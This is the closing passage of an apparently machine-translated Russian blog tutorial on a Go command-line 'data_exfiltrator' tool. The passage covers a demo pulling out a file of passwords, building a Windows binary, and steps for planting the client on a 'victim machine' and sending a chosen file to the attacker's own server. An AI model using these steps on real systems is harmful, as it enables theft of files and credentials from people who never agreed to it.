Нажмите Ctrl+C для проверки файла something.txt

$ cat something.txt         
password1
password2
password3
password4
Войти в полноэкранный режим Выйти из полноэкранного режима

Файл эксфильтрирован.

Подходит для Windows и Linux

Во время эксфильтрации моей главной проблемой было то, что я не мог запустить некоторые программы на windows, которые я легко мог запустить на Linux. Поскольку Golang предоставляет нам такую возможность, я создал такой же бинарник и для Windows.

Давайте проверим, как это сделать.
Чтобы сделать файл специфичным для windows

$ GOOS=windows GOARCH=amd64 go build .
Войдите в полноэкранный режим Выйти из полноэкранного режима

Это создаст файл под названием data_exfiltrator.exe, который теперь можно запустить на windows.

Обычно сценарий заключается во взломе файлов из windows, и хакеры используют Linux в качестве своего хоста. Вот почему наличие data_exfiltrator.exe и data_exfiltrator будет очень полезно, потому что теперь мы можем смешивать и подбирать варианты использования в широком диапазоне.

Как использовать вышеуказанный файл

  1. Как только вы собрали бинарник, перейдите на машину-жертву и сохраните этот бинарник там. Если это windows, то скопируйте бинарник для windows.
  2. На локальной машине запустите сервер командой ./data_exfiltrator server --ouput <outputfile> --host <yourIP> --port <yourPort>. Если у вас локальная система windows, то запустите ./data_exilftrator.exe server с аналогичными флагами.
  3. Теперь на стороне жертвы запустите ./data_exfiltrator.exe client -f <filetohack> --host <serverhost> --port <serverport>.
  4. Вы получите файл <filetohack> в вашей локалке с именем <outputfile>.

Заключение

Приведенная выше программа, если читать ее за один раз, может стать кошмаром для выполнения, поэтому я постарался распределить ее на множество маленьких кусочков. Главное, что вы вынесли из этой программы, — это понимание логики программирования сокетов и того, как создать CLI-приложение на Golang.
Чтобы получить полный исходный код, вы можете обратиться к GITHUB. Дайте мне знать, что вы думаете об этом.

Ссылки

  1. https://blog.knoldus.com/create-kubectl-like-cli-with-go-and-cobra/
  2. https://dev.to/aurelievache/learning-go-by-examples-part-3-create-a-cli-app-in-go-1h43
  3. https://github.com/spf13/cobra

Оставьте комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *